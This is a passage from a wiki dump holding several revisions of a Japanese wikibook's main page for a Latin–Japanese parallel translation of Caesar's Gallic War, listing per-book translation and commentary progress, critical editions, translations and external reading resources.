**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解編/表記のゆれ|/表記のゆれ]]　　{{進捗|00%|2026-03-29}}&lt;/span&gt;&lt;!--(2026-03-29)--&gt;　　　&lt;small&gt;（2026年3月29日から）&lt;/small&gt;
*各巻の注解
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第1巻/注解|/第1巻注解]]　{{進捗|25%|2020-06-01}}&lt;/span&gt;　　　&lt;small&gt;（2020年3月27日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第2巻/注解|/第2巻注解]]　{{進捗|25%|2022-05-05}}&lt;/span&gt;　　　&lt;small&gt;（2021年8月26日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第3巻/注解|/第3巻注解]]　{{進捗|25%|2022-10-27}}&lt;/span&gt;　　　&lt;small&gt;（2022年3月27日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第4巻/注解|/第4巻注解]]　{{進捗|25%|2023-07-10}}&lt;/span&gt;　　　&lt;small&gt;（2022年10月20日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第5巻/注解|/第5巻注解]]　{{進捗|25%|2024-09-23}}&lt;/span&gt;　　　&lt;small&gt;（2023年07月20日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第6巻/注解|/第6巻注解]]　{{進捗|25%|2025-11-05}}&lt;/span&gt;　　　&lt;small&gt;（2024年09月09日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第7巻/注解|/第7巻注解]]　{{進捗|00%|2026-10-25}}&lt;/span&gt;　　　&lt;small&gt;（2025年10月20日から）&lt;/small&gt;

;用例集
*&lt;span style=&quot;background-colo:#ffd;&quot;&gt;[[/用例集]]　{{進捗|25%|2020-03-29}}&lt;/span&gt;&lt;!-- 2020-03-29 --&gt;

;ガリア語
*&lt;span style=&quot;background-colo:#ffd;&quot;&gt;[[/ガリア語の名前]]　{{進捗|00%|2025-12-07}}&lt;/span&gt;&lt;!-- 2021-09-25 --&gt;

== 付録1 ==
{{Wikipedia|ガリア戦記|ガリア戦記}}
{{Wiktionary|la:Commentarii_de_bello_Gallico|ガリア戦記}}
{{Commons|Category:Gallic_War|ガリア戦争}}
&lt;!--
*[[/あらすじ]]：各巻のあらすじ
--&gt;
*[[/内容目次]]：巻・章・節の内容を記した目次　{{進捗|75%|2011-04-02}}
*[[/参照画像一覧]]：本文で参照した画像一覧　 {{進捗|75%|2026-06-14}}
*[[/ガリアの河川]]：本書で言及される河川　 {{進捗|00%|2023-01-07}}&lt;!--【2021年11月22日より】--&gt;

*[[/関連年表]]
*[[/対訳語彙集 (羅和)]] - [[/対訳語彙集 (羅英)]]
**[[/人物一覧 (羅和)]]
**[[/部族一覧 (羅和)]]
**[[/地名一覧 (羅和)]]　{{進捗|25%|2010-04-07}}

== 付録2 ==
*&lt;span style=&quot;background-color:#ffa;&quot;&gt;'''[[古代ローマの不定時法]]'''　　　{{進捗|50%|2020-08-24}}&lt;/span&gt;　&lt;!-- 2016-12-31 --&gt;
*&lt;span style=&quot;background-color:#ffb;&quot;&gt;[[ガイウス・ユリウス・カエサルの著作/ラテン語の紀年法|/ラテン語の紀年法]]　　　{{進捗|75%|2009-01-12}}&lt;/span&gt;
*&lt;span style=&quot;background-color:#ffb;&quot;&gt;[[ガイウス・ユリウス・カエサルの著作/古代ローマの攻城兵器|/古代ローマの攻城兵器]]　{{進捗|00%|2019-08-06}}&lt;/span&gt;
*&lt;span style=&quot;background-color:#ffffcc;&quot;&gt;[[ガイウス・ユリウス・カエサルの著作/古代ローマの軍旗類|/古代ローマの軍旗類]]　　{{進捗|00%|2022-01-22}}&lt;/span&gt;&lt;!--【2022年1月22日より】--&gt;
*[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位|/通貨・計量単位]]　　　　{{進捗|25%|2020-12-27}}&lt;/span&gt;

== 原文出典 ==
{{Wikisource|la:Commentarii de bello Gallico|ガリア戦記}}
{{進捗状況}}
*ラテン語版ウィキソース：[[s:la:Commentarii_de_bello_Gallico|Commentarii de bello Gallico]]（ただし、校訂本の出典記載なし！ しかも誤植が多いので注意！ α系写本の影響が強いと思われる。）
:以下の校訂本を参照しながら、できるだけα系写本の影響を尊重しつつ、原文を修整した。
*トイプナー古典叢書（&lt;small&gt;[[w:la:Bibliotheca_scriptorum_Graecorum_et_Romanorum_Teubneriana|Bibliotheca scriptorum Graecorum et Romanorum Teubneriana]]&lt;/small&gt;）
**C. Iulii Caesaris Commentarii Rerum Gestarum, edidit [[w:de:Otto_Seel|Otto Seel]], vol.I. Bellum Gallicum, [[w:la:Lipsia|Lipsiae]], Teubner, 1961.
*:（オットー・ゼール(1907-1975)編。現代の代表的な校訂本。β系写本の影響がやや強い。絶版。）
**C. Iulii Caesaris Commentarii Rerum Gestarum, edidit [[w:de:Wolfgang_Hering|Wolfgang Hering]], vol.I. Bellum Gallicum,  Lipsiae, Teubner, 1987.
*: {{ISBN|978-3-322-00351-5}} ({{ISBN|3-322-00351-5}})
*:（ヴォルフガング・ヘーリンク編。最近の校訂本。写本の異同などの情報量、文の完成度はゼール版より劣ると思われる。）

== 参考文献 ==
*ラテン語・英語対訳
**CAESAR: The Gallic War (with an English translation), by H. J. Edwards, [[w:en:Loeb_Classical_Library|Loeb Classical Library]](#72), [[w:en:Harvard_University_Press|Harvard University Press]], {{ISBN|979-0-674-99080-7}}
**:（1917年の初版以来、[[w:ローブ・クラシカルライブラリー|ローブ古典叢書]]の一冊として刊行され続けている読み物としての普及版）

*ラテン語・日本語対訳
**『カエサル『ガリア戦記』第I巻』遠山一郎 訳注、大学書林、2009年、{{ISBN|978-4-475-02446-4}}

*日本語訳
**『ガリア戦記』 カエサル著、近山金次訳、岩波文庫（岩波書店）、1964年、{{ISBN|978-4-00-334071-4}}
**『ガリア戦記』 カエサル著、國原吉之助訳、講談社学術文庫、1994年、{{ISBN|978-4-06-159127-1}}
*英語訳
**CAESAR: The Gallic War (A new English translation) by Carolyn Hammond, [[w:en:Oxford World's Classics|Oxford World's Classics(OWC)]], [[w:en:Oxford University Press|Oxford University Press]], First published 1996 ; Reissued 2008、{{ISBN|978-0-19-954026-6}}（近年の新訳）
*注釈書
**Gould, H.E. &amp; J.L. Whiteley. C. Iuli Caesaris Commentariorum De Bello Gallico. Liber Quartus. (London: Macmillan &amp; Co Ltd., 1968).；初級者向けの英文注釈がある。
**Caesar: De Bello Gallico V, Edited by R.C.Carrington (再版Bristol Classical Press, 1984), {{ISBN|0-86292-136-8}}

etc.
== 関連項目 ==
*&lt;span style=&quot;background-color:#ffea;&quot;&gt;[[古典ラテン語]]　{{進捗|00%|2018-04-18}} &lt;/span&gt;&lt;!-- 2018-04-18 --&gt;　　 &lt;small&gt;（2018年4月18日から）&lt;/small&gt;
*&lt;span style=&quot;background-color:#ffe;&quot;&gt;[[羅馬史略]]　　　{{進捗|00%|2022-08-18}}&lt;/span&gt;&lt;!-- 2022-08-18 --&gt;　　 &lt;small&gt;（2022年8月18日から）&lt;/small&gt;

== 関連記事 ==
*英語版ウィキソース：[[s:en:Commentaries_on_the_Gallic_War|Commentaries on the Gallic War]]（英語訳）
*フランス語版ウィキソース：[[s:fr:La_Guerre_des_Gaules|La Guerre des Gaules]]（仏語訳）
:　
*ラテン語版ウィクショナリー：[[wikt:la:Commentarii_de_bello_Gallico|wikt:la:Commentarii de bello Gallico]]

== 脚注 ==
&lt;references /&gt;
== 外部リンク ==
** [https://scaife.perseus.org/library/ Scaife Viewer | Library]
*** [https://scaife.perseus.org/library/urn:cts:latinLit:phi0448/ Scaife Viewer | Julius Caesar]
**** '''[https://scaife.perseus.org/reader/urn:cts:latinLit:phi0448.phi001.perseus-lat2:1.1.1-1.1.5/ Scaife Viewer | De Bello Gallico]'''
****: [https://scaife.perseus.org/reader/urn:cts:latinLit:phi0448.phi001.perseus-eng2:1.1/ Scaife Viewer | Gallic War]
=== Latein.me ===
*[https://www.latein.me/ Latein-Wörterbuch - Latein.me] (ラテン語-ドイツ語オンラインリソース)
**[https://www.latein.me/text/3/Caesar Caesar - Übersetzungen] (カエサルの著作)
***[https://www.latein.me/text/3/Caesar/33/De+Bello+Gallico+%28I%29/p/0 De Bello Gallico (I)]　(第1巻)
***[https://www.latein.me/text/3/Caesar/34/De+Bello+Gallico+%28II%29/p/0 De Bello Gallico (II)]　(第2巻)
***[https://www.latein.me/text/3/Caesar/35/De+Bello+Gallico+%28III%29/p/0 De Bello Gallico (III)]　(第3巻)
***[https://www.latein.me/text/3/Caesar/36/De+Bello+Gallico+%28IV%29/p/0 De Bello Gallico (IV)]　(第4巻)
***[https://www.latein.me/text/3/Caesar/37/De+Bello+Gallico+%28V%29/p/0 De Bello Gallico (V)]　(第5巻)
***[https://www.latein.me/text/3/Caesar/38/De+Bello+Gallico+%28VI%29/p/0 De Bello Gallico (VI)]　(第6巻)
***[https://www.latein.me/text/3/Caesar/39/De+Bello+Gallico+%28VII%29/p/0 De Bello Gallico (VII)]　(第7巻)
***[https://www.latein.me/text/3/Caesar/40/De+Bello+Gallico+%28VIII%29/p/0 De Bello Gallico (VIII)]　(第8巻)

&lt;!--[http://www.forumromanum.org/literature/caesar/gallic.html Commentaries on the Gallic War]（&quot;corpus scriptorum latinorum&quot; ラテン文学のデジタルライブラリー；英仏訳と地図付）
[http://www.debellogallico.org/index.cgi/bgtext Commentarii de Bello Gallico]（ガリア戦記の日本語対訳サイト）
[http://itunes.apple.com/jp/podcast/classics-texts-caesar-de-bello/id183722640 Classics Texts :: Caesar, De Bello Gallico 2 (Study Speed)]（『[[ガリア戦記 第2巻]]』の各節を[[w:ITunes|iTunes]]向けに読み上げた音声ファイルのダウンロードサイト）
--&gt;

[[Category:ガリア戦記|*]]
[[Category:ラテン語|かりあせんき]]
[[Category:古典ラテン文学|かりあせんき]]
[[Category:ガイウス・ユリウス・カエサルの著作|かりあせんき]]</text>
      <sha1>39zfrjfcpx3zvlxmcw1gvsforjtwrjm</sha1>
    </revision>
    <revision>
      <id>305255</id>
      <parentid>305247</parentid>
      <timestamp>2026-11-01T07:16:40Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* Latein.me */</comment>
      <origin>305255</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="14769" sha1="p6utusgdjxusf8cbxmmreb0bbol2q5y" xml:space="preserve">__notoc__
&lt;!--【2006年4月23日起稿】--&gt;
{{NDC|992|かりあせんき}}
{{NDC|232|かりあせんき}}
*[[古典ラテン語]]＞'''ガリア戦記'''
*[[ラテン文学]]＞'''ガリア戦記'''
&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:18pt;color:#990033;text-align:center;background-color:#fee;&quot;&gt;C &amp;middot; IVLII &amp;middot; CAESARIS &amp;middot; COMMENTARII &amp;middot; DE &amp;middot; BELLO &amp;middot; GALLICO&lt;/div&gt;
:　
[[画像:Commentarii_de_Bello_Gallico.jpg|thumb|right|240px|1783年刊行の『ガリア戦記』と『内乱記』]]
[[画像:Lionel Royer - Vercingetorix Throwing down His Weapons at the feet of Julius Caesar.jpg|thumb|right|280px|カエサル(右)と対面する[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]](左)（リオネル＝ノエル・ロワイエ [[w:fr:Lionel Royer|(fr)]] 画、1899年）]]
&lt;div style=&quot;background-color:#fff; width:70%;&quot;&gt;[[w:古代ローマ|古代ローマ]]の政治家・武将・著述家である[[w:ガイウス・ユリウス・カエサル|ガイウス・ユリウス・カエサル4世]]（[[w:la:Gaius_Iulius_Caesar|Gaius Iulius Caesar IV]]）が[[w:ガリア戦争|ガリア戦争]]（[[w:la:Bellum_Gallicum|Bellum Gallicum]]）の経過を[[w:古典ラテン語|古典ラテン語]]で著述した[[w:ラテン文学|ラテン文学]]の古典的名著『ガリア戦記』（[[wikt:la:Commentarii_de_bello_Gallico|Commentarii de bello Gallico]]）の[[ラテン語]]・[[日本語]]対訳。第8巻のみ[[w:アウルス・ヒルティウス|アウルス・ヒルティウス]]（[[w:la:Aulus_Hirtius|Aulus Hirtius]]）による著作。
　刊行当時の書名は、『ガイウス・ユリウス・カエサルの業績（戦績）に関する覚え書』（C. Iulii Caesaris Commentarii Rerum Gestarum）であったと推定され、『'''[[内乱記]]'''』と併せたものであった。
ルネサンス期以降は『ガイウス・ユリウス・カエサルのガリア戦争および内戦に関する覚え書』（C. Iulii Caesaris Commentarii de Bello Gallico et Civili）と題して刊行されていた（右の画像）。&lt;/div&gt;

&lt;div style=&quot;background-color:#dfd; width:70%;&quot;&gt;　『ガリア戦記』は、ガリア戦争の当事者であるカエサルが、簡潔明晰かつ客観的に描写することにより自らの戦争の正当性を示し&lt;ref name=&quot;コトバンク-ガリア戦記&quot;&gt;日本大百科全書(ニッポニカ) 「ガリア戦記」、ブリタニカ国際大百科事典 小項目事典 「ガリア戦記」、等より、[https://kotobank.jp/word/%E3%81%8C%E3%82%8A%E3%81%82%E6%88%A6%E8%A8%98-3148597#w-1522021 ガリア戦記(ガリアセンキ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;、自らに対する種々の非難に対する弁明を意図したものである&lt;ref name=&quot;コトバンク-ガリア戦記&quot;/&gt;。簡潔雄渾な名文として名高く&lt;ref name=&quot;コトバンク-ガリア戦記&quot;/&gt;、第一級の歴史書であるとともにラテン文学の傑作とされている&lt;ref name=&quot;コトバンク-ガリア戦記&quot;/&gt;。&lt;/div&gt;

&lt;br&gt;&lt;br&gt;
&lt;div style=&quot;border:solid #999 1px;background:#F8F8F8;max-width:60%;padding:0.5em 1em;margin:0.5em auto;align:left;overflow:auto;text-align:justify;&quot;&gt;
『ガリア戦記』冒頭部分の英語圏の人による朗読を聴いてみよう。

Gallia est omnis&lt;!--omnes--&gt; dīvīsa in partēs trēs; quārum ūnam incolunt Belgae, aliam Aquītānī, tertiam quī&lt;!--qui--&gt; ipsōrum linguā Celtae, nostrā Gallī appellantur. Hī omnēs linguā, īnstitūtīs, lēgibus inter sē differunt. Gallōs ab Aquītānīs Garumna flūmen, ā Belgīs Mātrona et Sēquana dīvidit.
::::: [[File:La-cls-de-bello-gallico.ogg]] 
::::::([[w:Vorbis|Ogg Vorbis]] 音声ファイル、&lt;strong&gt;長さ 54秒&lt;/strong&gt;、155 kbps)
&lt;/div&gt;


== 各巻対訳 ==
*[[ガリア戦記 第1巻]]（54節）{{進捗|25%|2009-07-28}}&lt;u&gt;（作成途上）&lt;/u&gt;：[[w:ヘルウェティイ族|ヘルウェティイー族]]との戦役。[[w:アリオウィストゥス|アリオウィストゥス]]との戦役。
*[[ガリア戦記 第2巻]]（35節）{{進捗|75%|2022-04-25}}：[[w:ベルガエ人|ベルガエ人]]同盟軍との戦役、大西洋岸の征服。　　　　 
*[[ガリア戦記 第3巻]]（29節）{{進捗|75%|2022-10-31}}：アルプスの戦い、[[w:アレモリカ|大西洋岸]]および[[w:アクィタニア|アクィータニア]]の平定。 &lt;!--【2007年4月30日から】--&gt;
*[[ガリア戦記 第4巻]]（38節）{{進捗|75%|2023-07-24}}：[[w:ゲルマニア|ゲルマーニア]]人との戦役。[[w:ブリタンニア|ブリタンニア]]への初めての遠征。 
*[[ガリア戦記 第5巻]]（58節）{{進捗|75%|2024-09-23}}：ブリタンニアへの再遠征。[[w:エブロネス族|エブローネース族]]ら諸部族の蜂起。 
*[[ガリア戦記 第6巻]]（44節）{{進捗|75%|2025-10-26}}：ガッリアと[[w:ゲルマニア|ゲルマーニア]]の社会と風習。エブローネース族らの平定。 
*[[ガリア戦記 第7巻]]（90節）{{進捗|50%|2026-10-25}}：[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]らが率いるガッリア同盟軍との戦役。 
*ガリア戦記 第8巻（55節）：&lt;u&gt;（掲載未定）&lt;/u&gt;
*:※第8巻は[[w:アウルス・ヒルティウス|アウルス・ヒルティウス]]の筆によるもので、文章の評価はカエサルのものに比べて格段劣る。

== 注解編と用例集 ==
[[画像:Vercingétorix se rend à César 1886 HPMotte.jpg|thumb|right|280px|カエサルのもとへ向かう[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]（アンリ＝ポール・モット [[w:fr:Henri-Paul Motte|(fr)]] 画、1886年）]]
;注解編
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解編]]　{{進捗|25%|2024-09-23}}&lt;/span&gt;　　　&lt;small&gt;（2020年3月27日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解編/写本と校訂版|/写本と校訂版]]　{{進捗|25%|2025-07-27}}&lt;/span&gt;&lt;!-- 2020-04-17 --&gt;　　　&lt;small&gt;（2020年4月17日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解編/表記のゆれ|/表記のゆれ]]　　{{進捗|00%|2026-03-29}}&lt;/span&gt;&lt;!--(2026-03-29)--&gt;　　　&lt;small&gt;（2026年3月29日から）&lt;/small&gt;
*各巻の注解
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第1巻/注解|/第1巻注解]]　{{進捗|25%|2020-06-01}}&lt;/span&gt;　　　&lt;small&gt;（2020年3月27日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第2巻/注解|/第2巻注解]]　{{進捗|25%|2022-05-05}}&lt;/span&gt;　　　&lt;small&gt;（2021年8月26日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第3巻/注解|/第3巻注解]]　{{進捗|25%|2022-10-27}}&lt;/span&gt;　　　&lt;small&gt;（2022年3月27日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第4巻/注解|/第4巻注解]]　{{進捗|25%|2023-07-10}}&lt;/span&gt;　　　&lt;small&gt;（2022年10月20日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第5巻/注解|/第5巻注解]]　{{進捗|25%|2024-09-23}}&lt;/span&gt;　　　&lt;small&gt;（2023年07月20日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第6巻/注解|/第6巻注解]]　{{進捗|25%|2025-11-05}}&lt;/span&gt;　　　&lt;small&gt;（2024年09月09日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第7巻/注解|/第7巻注解]]　{{進捗|00%|2026-10-25}}&lt;/span&gt;　　　&lt;small&gt;（2025年10月20日から）&lt;/small&gt;

;用例集
*&lt;span style=&quot;background-colo:#ffd;&quot;&gt;[[/用例集]]　{{進捗|25%|2020-03-29}}&lt;/span&gt;&lt;!-- 2020-03-29 --&gt;

;ガリア語
*&lt;span style=&quot;background-colo:#ffd;&quot;&gt;[[/ガリア語の名前]]　{{進捗|00%|2025-12-07}}&lt;/span&gt;&lt;!-- 2021-09-25 --&gt;

== 付録1 ==
{{Wikipedia|ガリア戦記|ガリア戦記}}
{{Wiktionary|la:Commentarii_de_bello_Gallico|ガリア戦記}}
{{Commons|Category:Gallic_War|ガリア戦争}}
&lt;!--
*[[/あらすじ]]：各巻のあらすじ
--&gt;
*[[/内容目次]]：巻・章・節の内容を記した目次　{{進捗|75%|2011-04-02}}
*[[/参照画像一覧]]：本文で参照した画像一覧　 {{進捗|75%|2026-06-14}}
*[[/ガリアの河川]]：本書で言及される河川　 {{進捗|00%|2023-01-07}}&lt;!--【2021年11月22日より】--&gt;

*[[/関連年表]]
*[[/対訳語彙集 (羅和)]] - [[/対訳語彙集 (羅英)]]
**[[/人物一覧 (羅和)]]
**[[/部族一覧 (羅和)]]
**[[/地名一覧 (羅和)]]　{{進捗|25%|2010-04-07}}

== 付録2 ==
*&lt;span style=&quot;background-color:#ffa;&quot;&gt;'''[[古代ローマの不定時法]]'''　　　{{進捗|50%|2020-08-24}}&lt;/span&gt;　&lt;!-- 2016-12-31 --&gt;
*&lt;span style=&quot;background-color:#ffb;&quot;&gt;[[ガイウス・ユリウス・カエサルの著作/ラテン語の紀年法|/ラテン語の紀年法]]　　　{{進捗|75%|2009-01-12}}&lt;/span&gt;
*&lt;span style=&quot;background-color:#ffb;&quot;&gt;[[ガイウス・ユリウス・カエサルの著作/古代ローマの攻城兵器|/古代ローマの攻城兵器]]　{{進捗|00%|2019-08-06}}&lt;/span&gt;
*&lt;span style=&quot;background-color:#ffffcc;&quot;&gt;[[ガイウス・ユリウス・カエサルの著作/古代ローマの軍旗類|/古代ローマの軍旗類]]　　{{進捗|00%|2022-01-22}}&lt;/span&gt;&lt;!--【2022年1月22日より】--&gt;
*[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位|/通貨・計量単位]]　　　　{{進捗|25%|2020-12-27}}&lt;/span&gt;

== 原文出典 ==
{{Wikisource|la:Commentarii de bello Gallico|ガリア戦記}}
{{進捗状況}}
*ラテン語版ウィキソース：[[s:la:Commentarii_de_bello_Gallico|Commentarii de bello Gallico]]（ただし、校訂本の出典記載なし！ しかも誤植が多いので注意！ α系写本の影響が強いと思われる。）
:以下の校訂本を参照しながら、できるだけα系写本の影響を尊重しつつ、原文を修整した。
*トイプナー古典叢書（&lt;small&gt;[[w:la:Bibliotheca_scriptorum_Graecorum_et_Romanorum_Teubneriana|Bibliotheca scriptorum Graecorum et Romanorum Teubneriana]]&lt;/small&gt;）
**C. Iulii Caesaris Commentarii Rerum Gestarum, edidit [[w:de:Otto_Seel|Otto Seel]], vol.I. Bellum Gallicum, [[w:la:Lipsia|Lipsiae]], Teubner, 1961.
*:（オットー・ゼール(1907-1975)編。現代の代表的な校訂本。β系写本の影響がやや強い。絶版。）
**C. Iulii Caesaris Commentarii Rerum Gestarum, edidit [[w:de:Wolfgang_Hering|Wolfgang Hering]], vol.I. Bellum Gallicum,  Lipsiae, Teubner, 1987.
*: {{ISBN|978-3-322-00351-5}} ({{ISBN|3-322-00351-5}})
*:（ヴォルフガング・ヘーリンク編。最近の校訂本。写本の異同などの情報量、文の完成度はゼール版より劣ると思われる。）

== 参考文献 ==
*ラテン語・英語対訳
**CAESAR: The Gallic War (with an English translation), by H. J. Edwards, [[w:en:Loeb_Classical_Library|Loeb Classical Library]](#72), [[w:en:Harvard_University_Press|Harvard University Press]], {{ISBN|979-0-674-99080-7}}
**:（1917年の初版以来、[[w:ローブ・クラシカルライブラリー|ローブ古典叢書]]の一冊として刊行され続けている読み物としての普及版）

*ラテン語・日本語対訳
**『カエサル『ガリア戦記』第I巻』遠山一郎 訳注、大学書林、2009年、{{ISBN|978-4-475-02446-4}}

*日本語訳
**『ガリア戦記』 カエサル著、近山金次訳、岩波文庫（岩波書店）、1964年、{{ISBN|978-4-00-334071-4}}
**『ガリア戦記』 カエサル著、國原吉之助訳、講談社学術文庫、1994年、{{ISBN|978-4-06-159127-1}}
*英語訳
**CAESAR: The Gallic War (A new English translation) by Carolyn Hammond, [[w:en:Oxford World's Classics|Oxford World's Classics(OWC)]], [[w:en:Oxford University Press|Oxford University Press]], First published 1996 ; Reissued 2008、{{ISBN|978-0-19-954026-6}}（近年の新訳）
*注釈書
**Gould, H.E. &amp; J.L. Whiteley. C. Iuli Caesaris Commentariorum De Bello Gallico. Liber Quartus. (London: Macmillan &amp; Co Ltd., 1968).；初級者向けの英文注釈がある。
**Caesar: De Bello Gallico V, Edited by R.C.Carrington (再版Bristol Classical Press, 1984), {{ISBN|0-86292-136-8}}

etc.
== 関連項目 ==
*&lt;span style=&quot;background-color:#ffea;&quot;&gt;[[古典ラテン語]]　{{進捗|00%|2018-04-18}} &lt;/span&gt;&lt;!-- 2018-04-18 --&gt;　　 &lt;small&gt;（2018年4月18日から）&lt;/small&gt;
*&lt;span style=&quot;background-color:#ffe;&quot;&gt;[[羅馬史略]]　　　{{進捗|00%|2022-08-18}}&lt;/span&gt;&lt;!-- 2022-08-18 --&gt;　　 &lt;small&gt;（2022年8月18日から）&lt;/small&gt;

== 関連記事 ==
*英語版ウィキソース：[[s:en:Commentaries_on_the_Gallic_War|Commentaries on the Gallic War]]（英語訳）
*フランス語版ウィキソース：[[s:fr:La_Guerre_des_Gaules|La Guerre des Gaules]]（仏語訳）
:　
*ラテン語版ウィクショナリー：[[wikt:la:Commentarii_de_bello_Gallico|wikt:la:Commentarii de bello Gallico]]

== 脚注 ==
&lt;references /&gt;
== 外部リンク ==
** [https://scaife.perseus.org/library/ Scaife Viewer | Library]
*** [https://scaife.perseus.org/library/urn:cts:latinLit:phi0448/ Scaife Viewer | Julius Caesar]
**** '''[https://scaife.perseus.org/reader/urn:cts:latinLit:phi0448.phi001.perseus-lat2:1.1.1-1.1.5/ Scaife Viewer | De Bello Gallico]'''
****: [https://scaife.perseus.org/reader/urn:cts:latinLit:phi0448.phi001.perseus-eng2:1.1/ Scaife Viewer | Gallic War]
=== Humanitext Reader ===
* [https://reader.humanitext.ai/ Humanitext Reader｜ギリシア語・ラテン語古典の原文と日本語訳]
** [https://reader.humanitext.ai/library/phi0448.phi001.humanitext-lat2 ガリア戦記（ユリウス・カエサル）原文・日本語訳・あらすじ — Gallic War · Humanitext Reader]
** [https://reader.humanitext.ai/en/library/phi0448.phi001.humanitext-lat2 Julius Caesar, Gallic War — Latin Text with English Translation (Free) · Humanitext Reader]

&lt;!--[http://www.forumromanum.org/literature/caesar/gallic.html Commentaries on the Gallic War]（&quot;corpus scriptorum latinorum&quot; ラテン文学のデジタルライブラリー；英仏訳と地図付）
[http://www.debellogallico.org/index.cgi/bgtext Commentarii de Bello Gallico]（ガリア戦記の日本語対訳サイト）
[http://itunes.apple.com/jp/podcast/classics-texts-caesar-de-bello/id183722640 Classics Texts :: Caesar, De Bello Gallico 2 (Study Speed)]（『[[ガリア戦記 第2巻]]』の各節を[[w:ITunes|iTunes]]向けに読み上げた音声ファイルのダウンロードサイト）
--&gt;

[[Category:ガリア戦記|*]]
[[Category:ラテン語|かりあせんき]]
[[Category:古典ラテン文学|かりあせんき]]
[[Category:ガイウス・ユリウス・カエサルの著作|かりあせんき]]</text>
      <sha1>p6utusgdjxusf8cbxmmreb0bbol2q5y</sha1>
    </revision>
    <revision>
      <id>305264</id>
      <parentid>305255</parentid>
      <timestamp>2026-11-01T08:42:22Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* 外部リンク */</comment>
      <origin>305264</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="14765" sha1="t1l91iuzctitnzlx8n9jzwthmbuh94n" xml:space="preserve">__notoc__
&lt;!--【2006年4月23日起稿】--&gt;
{{NDC|992|かりあせんき}}
{{NDC|232|かりあせんき}}
*[[古典ラテン語]]＞'''ガリア戦記'''
*[[ラテン文学]]＞'''ガリア戦記'''
&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:18pt;color:#990033;text-align:center;background-color:#fee;&quot;&gt;C &amp;middot; IVLII &amp;middot; CAESARIS &amp;middot; COMMENTARII &amp;middot; DE &amp;middot; BELLO &amp;middot; GALLICO&lt;/div&gt;
:　
[[画像:Commentarii_de_Bello_Gallico.jpg|thumb|right|240px|1783年刊行の『ガリア戦記』と『内乱記』]]
[[画像:Lionel Royer - Vercingetorix Throwing down His Weapons at the feet of Julius Caesar.jpg|thumb|right|280px|カエサル(右)と対面する[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]](左)（リオネル＝ノエル・ロワイエ [[w:fr:Lionel Royer|(fr)]] 画、1899年）]]
&lt;div style=&quot;background-color:#fff; width:70%;&quot;&gt;[[w:古代ローマ|古代ローマ]]の政治家・武将・著述家である[[w:ガイウス・ユリウス・カエサル|ガイウス・ユリウス・カエサル4世]]（[[w:la:Gaius_Iulius_Caesar|Gaius Iulius Caesar IV]]）が[[w:ガリア戦争|ガリア戦争]]（[[w:la:Bellum_Gallicum|Bellum Gallicum]]）の経過を[[w:古典ラテン語|古典ラテン語]]で著述した[[w:ラテン文学|ラテン文学]]の古典的名著『ガリア戦記』（[[wikt:la:Commentarii_de_bello_Gallico|Commentarii de bello Gallico]]）の[[ラテン語]]・[[日本語]]対訳。第8巻のみ[[w:アウルス・ヒルティウス|アウルス・ヒルティウス]]（[[w:la:Aulus_Hirtius|Aulus Hirtius]]）による著作。
　刊行当時の書名は、『ガイウス・ユリウス・カエサルの業績（戦績）に関する覚え書』（C. Iulii Caesaris Commentarii Rerum Gestarum）であったと推定され、『'''[[内乱記]]'''』と併せたものであった。
ルネサンス期以降は『ガイウス・ユリウス・カエサルのガリア戦争および内戦に関する覚え書』（C. Iulii Caesaris Commentarii de Bello Gallico et Civili）と題して刊行されていた（右の画像）。&lt;/div&gt;

